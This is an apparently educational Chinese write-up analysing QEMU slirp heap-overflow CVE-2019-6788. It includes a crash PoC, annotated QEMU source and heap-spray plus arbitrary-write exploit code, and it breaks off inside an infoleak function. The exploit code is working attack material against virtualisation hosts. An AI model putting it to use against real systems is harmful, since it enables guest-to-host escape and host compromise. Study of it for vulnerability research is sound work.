CVE-2019-6788调试分析

CVE-2019-6788

前置知识

调了几个CVE之后,我觉得CVECTF最大的区别在于,首先你需要对于CVE发生的设备如何运作有深刻的理解,因为我们需要写程序与其交互来触发poc/exp(可能我们复现时觉得只用到了一小部分,但是我相信作为发现者,其对于此软件和此模块的功能作用等一定有着深刻的见解)。其次需要对相关领域的知识很了解才能有更广的思路去书写构造相对稳定的exp

协议与其对应的数据包格式

slirp相关

IP Fragmentation相关

如何利用raw socket发送自己构造的tcp数据包:

https://www.pdbuchan.com/rawsock/rawsock.html

https://www.pdbuchan.com/rawsock/get4.c

https://www.pdbuchan.com/rawsock/icmp4.c

https://sock-raw.org/papers/sock_raw

SOCK_RAW的内幕和应用

搭建环境

可以直接使用CVE-2015-5165搭建好的imgbzImage,然后qemu需要重新checkout一下,作者使用的是v3.1.50,但是github上已经没有这个version了,所以这里用v3.1.0代替:

关于参数解释:

https://my.oschina.net/kelvinxupt/blog/265108

1
2
3
4
5
6
7
sudo cp -r ../CVE-2015-5165/qemu ./
cd qemu
git checkout tags/v3.1.0
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make -j4

启动脚本run.sh

1
2
3
4
5
6
7
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw quiet" \
-enable-kvm -m 2G -nographic \
-hda ../img/qemu.img \
#-net user,hostfwd=tcp::2222-:22 -net nic \
-L ./pc-bios \

关于-net-netdev-nic参数的解释说明:

https://zhuanlan.zhihu.com/p/41258581

关于qemu配置网络:

https://wzt.ac.cn/2019/09/10/QEMU-networking/

调试与poc

需要使用user mode(slirp)启动qemu,启动脚本为:

1
2
3
4
5
6
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw quiet" \
-enable-kvm -m 2G -nographic \
-hda ../img/qemu.img \
-L ./pc-bios

启动后查看网卡,发现存在ip10.0.2.15的局域网网卡,与其对应的宿主机网卡ip10.0.2.2(在宿主机上看不到)。

image-20200812182816329

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// poc.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
int s, ret;
struct sockaddr_in ip_addr;
char buf[0x500];

s = socket(AF_INET,SOCK_STREAM,0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
ip_addr.sin_port = htons(113); // vulnerable port
connect(s,(struct sockaddr *)&ip_addr,sizeof(struct sockaddr_in));
memset(buf,'A',0x500);
while(1) {
write(s,buf,0x500);
}
return 0;
}

在宿主机上运行sudo nc -lvv 113,在虚拟机里运行poc,成功触发crash

image-20200812172826546

poc中的host IP未必需要一定要是宿主机,其他可联通机器的ip也可。

漏洞分析

断在tcp_emu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#0  tcp_emu (so=0x7f46f8000d40, m=0x7f46f80140e0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/slirp/tcp_subr.c:558
#1 0x00005652e9b7c521 in tcp_input (m=0x7f46f80140e0, iphlen=0x14, inso=0x0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/slirp/tcp_input.c:499
#2 0x00005652e9b74aee in ip_input (m=0x7f46f80140e0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/slirp/ip_input.c:202
#3 0x00005652e9b772fc in slirp_input (slirp=0x5652ebd188c0, pkt=0x7f470a85cc70 "RU\n", pkt_len=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/slirp/slirp.c:758
#4 0x00005652e9b6be89 in net_slirp_receive (nc=0x5652ebd186c0, buf=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/slirp.c:114
#5 0x00005652e9b60ebd in qemu_deliver_packet (sender=0x5652ebd18120, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536, opaque=0x5652ebd186c0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:577
#6 0x00005652e9b62ebe in qemu_net_queue_deliver (queue=0x5652ebd17e80, sender=0x5652ebd18120, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/queue.c:157
#7 0x00005652e9b62fc7 in qemu_net_queue_send (queue=0x5652ebd17e80, sender=0x5652ebd18120, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0)
at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/queue.c:192
#8 0x00005652e9b61043 in qemu_send_packet_async_with_flags (sender=0x5652ebd18120, flags=0x0, buf=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:640
#9 0x00005652e9b6107b in qemu_send_packet_async (sender=0x5652ebd18120, buf=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:647
#10 0x00005652e9b610a8 in qemu_send_packet (nc=0x5652ebd18120, buf=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:653
#11 0x00005652e9b6385d in net_hub_receive (hub=0x5652ebd17f40, source_port=0x5652ebd19570, buf=0x7f470a85cc70 "RU\n", len=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/hub.c:55
#12 0x00005652e9b63a6a in net_hub_port_receive (nc=0x5652ebd19570, buf=0x7f470a85cc70 "RU\n", len=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/hub.c:114
#13 0x00005652e9b60ebd in qemu_deliver_packet (sender=0x5652ed11d1c0, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536, opaque=0x5652ebd19570) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:577
#14 0x00005652e9b62ebe in qemu_net_queue_deliver (queue=0x5652ebd18390, sender=0x5652ed11d1c0, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/queue.c:157
#15 0x00005652e9b62fc7 in qemu_net_queue_send (queue=0x5652ebd18390, sender=0x5652ed11d1c0, flags=0x0, data=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0)
at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/queue.c:192
#16 0x00005652e9b61043 in qemu_send_packet_async_with_flags (sender=0x5652ed11d1c0, flags=0x0, buf=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:640
#17 0x00005652e9b6107b in qemu_send_packet_async (sender=0x5652ed11d1c0, buf=0x7f470a85cc70 "RU\n", size=0x536, sent_cb=0x0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:647
#18 0x00005652e9b610a8 in qemu_send_packet (nc=0x5652ed11d1c0, buf=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/net/net.c:653
#19 0x00005652e9abfb84 in e1000_send_packet (s=0x7f470a83a010, buf=0x7f470a85cc70 "RU\n", size=0x536) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:609
#20 0x00005652e9ac0037 in xmit_seg (s=0x7f470a83a010) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:661
#21 0x00005652e9ac0713 in process_tx_desc (s=0x7f470a83a010, dp=0x7f4707e529a0) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:756
#22 0x00005652e9ac0987 in start_xmit (s=0x7f470a83a010) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:811
#23 0x00005652e9ac1d2f in set_tctl (s=0x7f470a83a010, index=0xe06, val=0x17) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:1184
#24 0x00005652e9ac1e97 in e1000_mmio_write (opaque=0x7f470a83a010, addr=0x3818, val=0x17, size=0x4) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/hw/net/e1000.c:1256
#25 0x00005652e98f3796 in memory_region_write_accessor (mr=0x7f470a83c8b0, addr=0x3818, value=0x7f4707e52b08, size=0x4, shift=0x0, mask=0xffffffff, attrs=...)
at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/memory.c:450
#26 0x00005652e98f3935 in access_with_adjusted_size (addr=0x3818, value=0x7f4707e52b08, size=0x4, access_size_min=0x4, access_size_max=0x4, access=0x5652e98f3725 <memory_region_write_accessor>, mr=0x7f470a83c8b0, attrs=...)
at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/memory.c:506
#27 0x00005652e98f619c in memory_region_dispatch_write (mr=0x7f470a83c8b0, addr=0x3818, data=0x17, size=0x4, attrs=...) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/memory.c:1158
#28 0x00005652e98aa68f in address_space_rw (as=0x5652ea0edf80 <address_space_memory>, addr=0xfebc3818, attrs=..., buf=0x7f470a9c1028 "\027", len=0x4, is_write=0x1)
at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/exec.c:2439
#29 0x00005652e98f0f76 in kvm_cpu_exec (cpu=0x5652ebd34490) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/kvm-all.c:1859
#30 0x00005652e98d8aed in qemu_kvm_cpu_thread_fn (arg=0x5652ebd34490) at /home/xiaoxiaorenwu/escape/qemu/CVE-2015-5165/qemu/cpus.c:979
#31 0x00007f47094976ba in start_thread (arg=0x7f4707e53700) at pthread_create.c:333
#32 0x00007f47091cd4dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

/slirp/socket.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
struct socket {
struct socket *so_next,*so_prev; /* For a linked list of sockets */

int s; /* The actual socket */

int pollfds_idx; /* GPollFD GArray index */

Slirp *slirp; /* managing slirp instance */

/* XXX union these with not-yet-used sbuf params */
struct mbuf *so_m; /* Pointer to the original SYN packet,
* for non-blocking connect()'s, and
* PING reply's */
struct tcpiphdr *so_ti; /* Pointer to the original ti within
* so_mconn, for non-blocking connections */
uint32_t so_urgc;
union slirp_sockaddr fhost; /* Foreign host */
#define so_faddr fhost.sin.sin_addr
#define so_fport fhost.sin.sin_port
#define so_faddr6 fhost.sin6.sin6_addr
#define so_fport6 fhost.sin6.sin6_port
#define so_ffamily fhost.ss.ss_family

union slirp_sockaddr lhost; /* Local host */
#define so_laddr lhost.sin.sin_addr
#define so_lport lhost.sin.sin_port
#define so_laddr6 lhost.sin6.sin6_addr
#define so_lport6 lhost.sin6.sin6_port
#define so_lfamily lhost.ss.ss_family

uint8_t so_iptos; /* Type of service */
uint8_t so_emu; /* Is the socket emulated? */

uint8_t so_type; /* Type of socket, UDP or TCP */
int32_t so_state; /* internal state flags SS_*, below */

struct tcpcb *so_tcpcb; /* pointer to TCP protocol control block */
u_int so_expire; /* When the socket will expire */

int so_queued; /* Number of packets queued from this socket */
int so_nqueued; /* Number of packets queued in a row
* Used to determine when to "downgrade" a session
* from fastq to batchq */

struct sbuf so_rcv; /* Receive buffer */
struct sbuf so_snd; /* Send buffer */
void * extra; /* Extra pointer */
};

/slirp/sbuf.h

1
2
3
4
5
6
7
8
9
10
11
struct sbuf { //用于保存TCP层数据
uint32_t sb_cc; /* actual chars in buffer */ //缓冲区中实际写入的字符数量
uint32_t sb_datalen; /* Length of data */ //缓冲区总大小
char *sb_wptr; /* write pointer. points to where the next
* bytes should be written in the sbuf */ //写指针
char *sb_rptr; /* read pointer. points to where the next
* byte should be read from the sbuf */ //读指针
char *sb_data; /* Actual data */ //缓冲区的起始地址
};

#define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)

/slirp/mbuf.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct mbuf { //用于保存IP层数据
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

漏洞点位于tcp_emu.c:638,其实也不能说是位于,这个漏洞需要多方搭配才能触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int
tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
u_int n1, n2, n3, n4, n5, n6;
char buff[257];
uint32_t laddr;
u_int lport;
char *bptr;

...
switch(so->so_emu) {
int x, i;

case EMU_IDENT:
/*
* Identification protocol as per rfc-1413
*/

{
struct socket *tmpso;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(struct sockaddr_in);
struct sbuf *so_rcv = &so->so_rcv;
//m是mbuf类型,存储用户从IP层传入的数据的结构体,so_rcv是sbuf类型,存储TCP层中数据的结构体
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;
m->m_data[m->m_len] = 0; /* NULL terminate */
if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
HTONS(n1);
HTONS(n2);
/* n2 is the one on our host */
for (tmpso = slirp->tcb.so_next;
tmpso != &slirp->tcb;
tmpso = tmpso->so_next) {
if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
tmpso->so_lport == n2 &&
tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
tmpso->so_fport == n1) {
if (getsockname(tmpso->s,
(struct sockaddr *)&addr, &addrlen) == 0)
n2 = ntohs(addr.sin_port);
break;
}
}
}
so_rcv->sb_cc = snprintf(so_rcv->sb_data,
so_rcv->sb_datalen,
"%d,%d\r\n", n1, n2);
so_rcv->sb_rptr = so_rcv->sb_data;
so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
}
m_free(m);
return 0;
}
case EMU_FTP: /* ftp */
....
case EMU_KSH:
...
case EMU_IRC:
...
case EMU_REALAUDIO:
...
}

漏洞利用

在跑exp之前,需要先用这个命令将网卡enp0s3mtu变大:ifconfig enp0s3 mtu 9000 up

漏洞利用比较复杂,主要分四个阶段:

Malloc Primitive

由于溢出发生处是在一块堆上的纯buffer,前后的数据在实际运行中都是不稳定的,所以首先需要一个适当的手段来控制堆。这一步是及其重要的,我个人感觉这一步也是实际漏洞中的利用手法和CTF最大的差别,CTF就是比较稳定,然后堆的状态是完全可控的,所以直接去想怎么利用就行了,而实际漏洞的堆因为多方面原因导致其是非常混乱的。。。所以使堆变得稳定是非常非常重要的一步。。。

具体原理为:

ip_input函数中的以下部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
...	
if (ip->ip_off &~ IP_DF) { //ip->ip_off不包含IP_DF(Don't Fragment)标志位才能触发ip_reass
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id && //发送大量id不同的数据包,使if条件无法满足,进而找不到之前的数据包,导致fp为NULL
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF) //含有IP_MF(More Fragment)标志位时,ip_tos带有1,不含有时ip_tos不带有1
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);//我们的目的是使fp=NULL的时候,进入ip_reass函数
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;
...

ip_reass中,fp == NULL时会进入这段代码,会调用m_get申请一个新的mbuf结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//ip_input.c:254       
if (fp == NULL) {
struct mbuf *t = m_get(slirp); //利用这里触发堆喷

if (t == NULL) {
goto dropfrag;
}
fp = mtod(t, struct ipq *);
insque(&fp->ip_link, &slirp->ipq.ip_link);
fp->ipq_ttl = IPFRAGTTL;
fp->ipq_p = ip->ip_p;
fp->ipq_id = ip->ip_id;
fp->frag_link.next = fp->frag_link.prev = &fp->frag_link;
fp->ipq_src = ip->ip_src;
fp->ipq_dst = ip->ip_dst;
q = (struct ipasfrag *)fp;
goto insert;
}

m_get里会申请内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE); // < ------ here !!!
slirp->mbuf_alloced++;
if (slirp->mbuf_alloced > MBUF_THRESH)
flags = M_DOFREE;
m->slirp = slirp;
} else {
m = (struct mbuf *) slirp->m_freelist.qh_link;
remque(m);
}

m_get函数里申请内存的地方,申请的内存size固定为0x668,也就是mbufsize

image-20200816175457159

但是到这还没完,需要理解函数栈返回时的流程,在ip_reass中,上面那部分代码会直接goto insert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
insert:
/*
* Stick new segment in its place;
* check for complete reassembly.
*/
ip_enq(iptofrag(ip), q->ipf_prev);
next = 0;
for (q = fp->frag_link.next; q != (struct ipasfrag*)&fp->frag_link;
q = q->ipf_next) {
if (q->ipf_off != next)
return NULL;
next += q->ipf_len;
}
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL; //若后续还有IP分片(IP_MF位为1),则直接返回NULL

然后看ip_input函数里:

1
2
3
4
5
6
7
8
9
10
11
	if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return; //这里会直接返回,所以不会有干扰的情况发生
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;

所以我们需要构造许多ip_header含有IP_MF不含有IP_DF的,且id字段全都不同的数据包来触发大量的malloc原语使堆变得可控。

PS:并不是所有sizechunk大量喷射都会使堆变得稳定,只是这个情况比较巧合,正好之后我们要溢出的结构体chunksize全都大于等于0x668,所以其才可以起到清理作用。

构造的数据包在gdb中如下,随便截的某一个包:

image-20200816180319562

image-20200816180119226

Arbitary write

首先需要知道的是,这一步能否成功取决于上一步的堆是否可以成功清理,以下分析皆为基于堆稳定后的利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
void
ip_input(struct mbuf *m)
{
...
/*
* If offset or IP_MF are set, must reassemble.
* Otherwise, nothing need be done.
* (We could look in the reassembly queue to see
* if the packet was previously fragmented,
* but it's not worth the time; just let them time out.)
*
* XXX This should fail, don't fragment yet
*/
...
if (ip->ip_off &~ IP_DF) { //ip->ip_off不包含IP_DF(Don't Fragment)标志位才能触发ip_reass
register struct ipq *fp;
struct qlink *l;
/*
* Look for queue of fragments
* of this datagram.
*/
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id && //发送大量id不同的数据包,使if条件无法满足,进而找不到之前的数据包,导致fp为NULL
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL;
found:

/*
* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF) //含有IP_MF(More Fragment)标志位时,ip_tos带有1,不含有时ip_tos不带有1
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);//我们的目的是使fp=NULL的时候,进入ip_reass函数
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;
...
}


static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip);
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;

...
/*
* Reassembly is complete; concatenate fragments.
*/
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL; //若后续还有IP分片(IP_MF位为1),则直接返回NULL,若IP_MF不为1则表示当前分片是最后一个分片,可以开始进行分片的重组了,进入下面的代码

q = fp->frag_link.next;
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t); //分片的拼接函数
}
}

/*
* Copy data from one mbuf to the end of
* the other.. if result is too big for one mbuf, allocate
* an M_EXT data segment
*/
void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);

memcpy(m->m_data+m->m_len, n->m_data, n->m_len); //任意地址写任意值
m->m_len += n->m_len;

m_free(n);
}

当数据包是最后一个切片数据包时(IP_MF不为1),ip_reass函数中会调用m_cat将数据包组合起来。关键代码是memcpy(m->m_data+m->m_len, n->m_data, n->m_len),如果我们可以利用堆溢出覆盖m结构体的m_datam_len,则就可以实现将可控的数据n->m_data写到任意的地址m->m_data+m->m_len处。

exp中任意地址写函数关键代码如下,首先利用malloc原语将清空堆,使得堆排布可控。接着利用与host主机113端口建立socket连接,申请出来可溢出的struct sbuf *so_rcv结构体。紧接着在后面分配一个ip切片数据包mbuf,其id0xdead。由于堆的排布,该数据包是紧贴着so_rcv的,可以利用堆溢出覆盖mbuf中的m_data指针。最后再次发送相同id(0xdead)并且IP_MF标志为0的数据包,memcpy拷贝至m_data指针处时,实现任意地址写,因为ip->ip_off设为0x318,所以实际上是向addr+0x318的地址写数据。

需要注意的是每次arbitrary_write函数之后,server的连接都会断开一次,因为函数最后里把建立了连接的fdclose了,为了之后的利用我们需要把server重新设为监听状态,这也是我为什么在函数最后加了一个getchar(),这是为了重新让server重新运行sudo nc -lvv 113命令再继续运行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
int s, len, i;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);

for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n"); //堆喷将堆变得稳定

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
} //创建出可溢出的so_rcv结构体
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); //这个packet就在so_rcv的后面

for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by null = =。。。。
usleep(20000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072); //从for循环到这里的六次write是为了填充so_rcv到我们要溢出的m_buf之间的无用数据
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start); //真正的溢出,在这一步覆盖掉第一个分片的各个数据结构
// write(s, payload, 0x1000);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24; //实际上是向addr+0x318的地址写任意值
pkt_info.MF = 0; //设为0,触发m_cat
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len); //触发任意地址写任意值!!!

close(s);
free(payload_start);
if (stop_flag) {
puts("trigger!");
getchar();
}
return 0;
}

Infoleak

前两步如果成功了的话,这一步就几乎百分之百成功,只是泄露出来的数据貌似无法预测,没什么标志性数据,每次接受到的几乎都是不一样的数据,这也是导致了最后的成功率很低的原因之一。

泄露的原理使用的是伪造ICMP协议数据包:

  1. 先用一次任意地址写任意值在堆的前面(低位为0x000b00)写入一个伪造的ICMP包头,也就是main函数最开始做的事情。
  2. 发送一个ICMP请求,IP_MF位置1。
  3. 第二次溢出修改第二步的mbufm_data的低位至第一步伪造的ICMP包头的起始地址,这一步实际上完成了一个ICMP包的伪造,因为堆前面的那个地方我们只伪造了一个ICMP数据包的头部,真实的数据部分除了我们的命令之外就是脏数据了,也是最后ICMP应答包的数据来源。
  4. 发送IP_MF 为0,payloadlen为0的包结束ICMP请求。
  5. 得到ICMP应答包,得到脏数据。

所以这一步的目的不在于写,而是溢出改ICMP第一个分片的mbuf->m_data为第一步伪造的ICMP_header,写只是为了结束ICMP请求罢了,所以payloadlen为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
void leak(uint64_t addr, int addr_len) {
int s, len, i, recvsd;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

